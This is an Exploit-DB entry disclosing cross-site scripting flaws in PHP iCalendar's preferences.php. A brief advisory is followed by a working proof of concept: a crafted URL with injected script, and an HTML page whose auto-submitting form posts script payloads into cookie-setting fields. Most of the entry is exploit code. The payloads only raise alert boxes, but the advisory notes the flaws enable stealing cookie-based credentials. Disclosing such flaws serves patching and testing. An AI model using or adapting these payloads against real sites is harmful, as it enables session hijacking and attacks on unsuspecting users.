Exploit-DB #29370
Description: PHP iCalendar 1.1/2.x - 'preferences.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-27
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/21792/info
       
PHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
       
http://www.example.com/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E <html> <head></head> <body> <title>PHP icalendar XSS in preferences.php PoC</title> <p><a href="http://phpicalendar.net/" target="_BLANK">PHP icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p> <p>Modify the target host , by default http://localhost/</P> <br /><br /><form method=&#039;post&#039; action=&#039;

http://localhost/phpicalendar/preferences.php?action=setcookie&#039;> cookie_language: <input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /><br> cookie_calendar: <input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /><br> cpath: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /><br> cookie_view: <input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /><br> cookie_time: <input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /><br> cookie_startday: <input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /><br> cookie_style: <input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /><br> unset: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /><br> set: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /><br> <input type=&#039;submit&#039; value=&#039;submit&#039; /><br> </form><hr /> <textarea style=&#039;width: 80%; height: 50%;&#039;> <form method=&#039;post&#039; action=&#039;

http://localhost/phpicalendar/preferences.php?action=setcookie&#039;> cookie_language: <input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /><br> cookie_calendar: <input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /><br> cpath: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /><br> cookie_view: <input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /><br> cookie_time: <input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /><br> cookie_startday: <input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /><br> cookie_style: <input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /><br> unset: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /><br> set: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /><br> <input type=&#039;submit&#039; value=&#039;submit&#039; /><br> </form> <script> document.forms[0].submit() </script> </textarea> </body> </html>